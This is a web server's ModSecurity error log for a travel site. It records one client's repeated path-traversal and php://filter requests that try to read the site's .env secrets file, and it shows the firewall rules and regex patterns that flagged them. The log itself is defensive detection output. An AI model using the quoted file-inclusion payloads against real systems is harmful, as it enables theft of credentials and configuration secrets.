[Fri Jul 17 08:55:11.775090 2026] [security2:error] [pid 2029579:tid 2029579] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:show. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:show: php://filter/convert.iconv.UCS-2LE.UCS-2BE/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglyRF0UOO1RzB5_8t7QAAAA4"]
[Fri Jul 17 08:55:11.775537 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:show. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:show: php://filter/zlib.deflate/convert.base64-encode/resource=../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1CBpfuYyhJ140vSeAAAAB4"]
[Fri Jul 17 08:55:11.776118 2026] [security2:error] [pid 2029579:tid 2029579] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglyRF0UOO1RzB5_8t7QAAAA4"]
[Fri Jul 17 08:55:11.776241 2026] [hostinglimits:warn] [pid 2029579:tid 2029579] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029579) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:11.776549 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1CBpfuYyhJ140vSeAAAAB4"]
[Fri Jul 17 08:55:11.776555 2026] [security2:error] [pid 2029579:tid 2029579] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almglyRF0UOO1RzB5_8t7QAAAA4"]
[Fri Jul 17 08:55:11.776678 2026] [hostinglimits:warn] [pid 2018768:tid 2018768] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018768) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:11.776959 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgl1CBpfuYyhJ140vSeAAAAB4"]
[Fri Jul 17 08:55:11.785347 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&show=php%3A%2F%2Ffilter%2Fconvert.iconv.UCS-2LE.UCS-2BE%2Fconvert.base64-encode%2Fresource%3D..%2F..%2F..%2F.env&token=ZfuAfT_UtsYyZT3Z_nP2u2DO-DoKpJa5QzOvKRpNglLMz5wK1pQDR8NnIIob3NBefO4f3NdRPFiGOo0u-Bhkv3umS6ESTfD2OLmOBr84TQAzNlEJLS29c1cMtwKblRhoXT2zYzxqZSCqGKuJCMNnTQUG3lGqQ7OLdRoQcR03LQrMQmr2m_AlYytDS_avcO6lS2sPfZJ1l_rIiO5esGXpuKkh3edUWH03pSH5bNNolc9WgwAzGwqnA--Bg9TaRlYbrK8fcfMBmoXObMeTwd7bxG5_&ts=NJZUOOWO5JIEKCJV55FSBVRXKDH3Q3IJ2ZECTVXTJZDG6..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4Zvbo7N5o5zeYC-OAAAABw"]
[Fri Jul 17 08:55:11.785408 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:show. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:show: php://filter/convert.iconv.UCS-2LE.UCS-2BE/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4Zvbo7N5o5zeYC-OAAAABw"]
[Fri Jul 17 08:55:11.785455 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&show=php://filter/convert.iconv.UCS-2LE.UCS-2BE/convert.base64-encode/resource=../../../.env&token=ZfuAfT_UtsYyZT3Z_nP2u2DO-DoKpJa5QzOvKRpNglLMz5wK1pQDR8NnIIob3NBefO4f3NdRPFiGOo0u-Bhkv3umS6ESTfD2OLmOBr84TQAzNlEJLS29c1cMtwKblRhoXT2zYzxqZSCqGKuJCMNnTQUG3lGqQ7OLdRoQcR03LQrMQmr2m_AlYytDS_avcO6lS2sPfZJ1l_rIiO5esGXpuKkh3edUWH03pSH5bNNolc9WgwAzGwqnA--Bg9TaRlYbrK8fcfMBmoXObMeTwd7bxG5_&ts=NJZUOOWO5JIEKCJV55FSBVRXKDH3Q3IJ2ZECTVXTJZDG6YIXDPKEOAXY732S2YRWAB5IINCH5..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4Zvbo7N5o5zeYC-OAAAABw"]
[Fri Jul 17 08:55:11.785497 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&show=php://filter/convert.iconv.ucs-2le.ucs-2be/convert.base64-encode/resource=../../../.env&token=zfuaft_utsyyzt3z_np2u2do-dokpja5qzovkrpngllmz5wk1pqdr8nniiob3nbefo4f3ndrpfigoo0u-bhkv3ums6estfd2olmobr84tqaznlejls29c1cmtwkblrhoxt2zyzxqzscqgkujcmnntqug3lgqq7oldroqcr03lqrmqmr2m_alyytds_avco6ls2spfzj1l_riio5esgxpukkh3eduwh03psh5bnnolc9wgwazgwqna--bg9tarlybrk8fcfmbmoxobmetwd7bxg5_&ts=njzuoowo5jiekcjv55fsbvrxkdh3q3ij2zectvxtjzdg6yixdpkeoaxy732s2yrwab5iinch5..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4Zvbo7N5o5zeYC-OAAAABw"]
[Fri Jul 17 08:55:11.785533 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:show. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:show: php://filter/convert.iconv.UCS-2LE.UCS-2BE/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4Zvbo7N5o5zeYC-OAAAABw"]
[Fri Jul 17 08:55:11.785559 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:show. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:show: php://filter/convert.iconv.ucs-2le.ucs-2be/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4Zvbo7N5o5zeYC-OAAAABw"]
[Fri Jul 17 08:55:11.785907 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:show. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:show: php://filter/convert.iconv.UCS-2LE.UCS-2BE/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4Zvbo7N5o5zeYC-OAAAABw"]
[Fri Jul 17 08:55:11.786004 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&show=php%3A%2F%2Ffilter%2Fzlib.deflate%2Fconvert.base64-encode%2Fresource%3D..%2F..%2F.env&extra=SUfVCRQ4Likr_Z0755w6D-SOrOT2lnOQTMbzrbSvcAfbqLI_NYx51-BToLnb8u_Gtoej09CDWD7y_39qbtJueuMuae5HJEJ5WJzVVC5Mc_i43G6Y_kC08v6Yv9FOwDzTr2iqx4wyjCEGuU2rhO8oVb500L0vWeSILPDBkTH0wUpeQ-7KIOZGY6vAGU3ErXjeslBSANjwHGv8C0Z-5mV2ve6E4C3YcHUDGTWwMWFkKJzQUhBbtJY2-mXJJqcye3ZIy_8UiCb7WnWYPXYydDNKyiJV&ref=7V4BK4IUSJCLODZ62UVZQ2QPBJZS2RRJPG7N4EID3BH7PCLU2DGWQHOX3EGV54MTHY..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4l9vhFBGA6D8l950QAAAAw"]
[Fri Jul 17 08:55:11.786053 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:show. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:show: php://filter/zlib.deflate/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4l9vhFBGA6D8l950QAAAAw"]
[Fri Jul 17 08:55:11.786133 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&show=php://filter/zlib.deflate/convert.base64-encode/resource=../../.env&extra=SUfVCRQ4Likr_Z0755w6D-SOrOT2lnOQTMbzrbSvcAfbqLI_NYx51-BToLnb8u_Gtoej09CDWD7y_39qbtJueuMuae5HJEJ5WJzVVC5Mc_i43G6Y_kC08v6Yv9FOwDzTr2iqx4wyjCEGuU2rhO8oVb500L0vWeSILPDBkTH0wUpeQ-7KIOZGY6vAGU3ErXjeslBSANjwHGv8C0Z-5mV2ve6E4C3YcHUDGTWwMWFkKJzQUhBbtJY2-mXJJqcye3ZIy_8UiCb7WnWYPXYydDNKyiJV&ref=7V4BK4IUSJCLODZ62UVZQ2QPBJZS2RRJPG7N4EID3BH7PCLU2DGWQHOX3EGV54MTHYCQ7XW3LQQ5XZ5QFWX4GEFW6AH3..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4l9vhFBGA6D8l950QAAAAw"]
[Fri Jul 17 08:55:11.786163 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&show=php://filter/zlib.deflate/convert.base64-encode/resource=../../.env&extra=sufvcrq4likr_z0755w6d-sorot2lnoqtmbzrbsvcafbqli_nyx51-btolnb8u_gtoej09cdwd7y_39qbtjueumuae5hjej5wjzvvc5mc_i43g6y_kc08v6yv9fowdztr2iqx4wyjceguu2rho8ovb500l0vwesilpdbkth0wupeq-7kiozgy6vagu3erxjeslbsanjwhgv8c0z-5mv2ve6e4c3ychudgtwwmwfkkjzquhbbtjy2-mxjjqcye3ziy_8uicb7wnwypxyyddnkyijv&ref=7v4bk4iusjclodz62uvzq2qpbjzs2rrjpg7n4eid3bh7pclu2dgwqhox3egv54mthycq7xw3lqq5xz5qfwx4gefw6ah3..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4l9vhFBGA6D8l950QAAAAw"]
[Fri Jul 17 08:55:11.786184 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:show. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:show: php://filter/zlib.deflate/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4l9vhFBGA6D8l950QAAAAw"]
[Fri Jul 17 08:55:11.786203 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:show. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:show: php://filter/zlib.deflate/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4l9vhFBGA6D8l950QAAAAw"]
[Fri Jul 17 08:55:11.786516 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:show. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:show: php://filter/zlib.deflate/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4l9vhFBGA6D8l950QAAAAw"]
[Fri Jul 17 08:55:11.786916 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4Zvbo7N5o5zeYC-OAAAABw"]
[Fri Jul 17 08:55:11.787033 2026] [hostinglimits:warn] [pid 2014256:tid 2014256] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2014256) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:11.787334 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgl4Zvbo7N5o5zeYC-OAAAABw"]
[Fri Jul 17 08:55:11.787534 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4l9vhFBGA6D8l950QAAAAw"]
[Fri Jul 17 08:55:11.787650 2026] [hostinglimits:warn] [pid 1993572:tid 1993572] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993572) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:11.787894 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgl4l9vhFBGA6D8l950QAAAAw"]
[Fri Jul 17 08:55:11.790331 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&show=php%3A%2F%2Ffilter%2Fzlib.deflate%2Fconvert.base64-encode%2Fresource%3D..%2F..%2F..%2F.env&token=AteCNqFfTvbKb70f_239PGnj0cLYHYKPPwxF4MUJyZ3Y7k8e4vBwX3IhhqFSESOD4oqiXRL60cyhXJUkMoZrhRIM4-hmG03hP170ppynCN_a6FY5gsvXCHJkB7dasCWzibNdaTnAnkVbgt0MDPQ76ZWGP5F3hRiBnyiVlI07e9-Nm3iHmFIdtrphjbCwvDVA1xicZBSgqsqxleinZrIMjAZy0TqQW4fz10r1sKSHnaaRFwgD2zYRUlsPAgjK1xVEmXeksPwoJacAZYwOO90hOgJa&sid=6JOLBD2JWFFKFQ6UWOFGQRCOZOYNULTSNFZ4VXBQ7J6QF3447AZ6NEVKZIEIY..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw5GPQ6hs4VrfMpBTAAAAAY"]
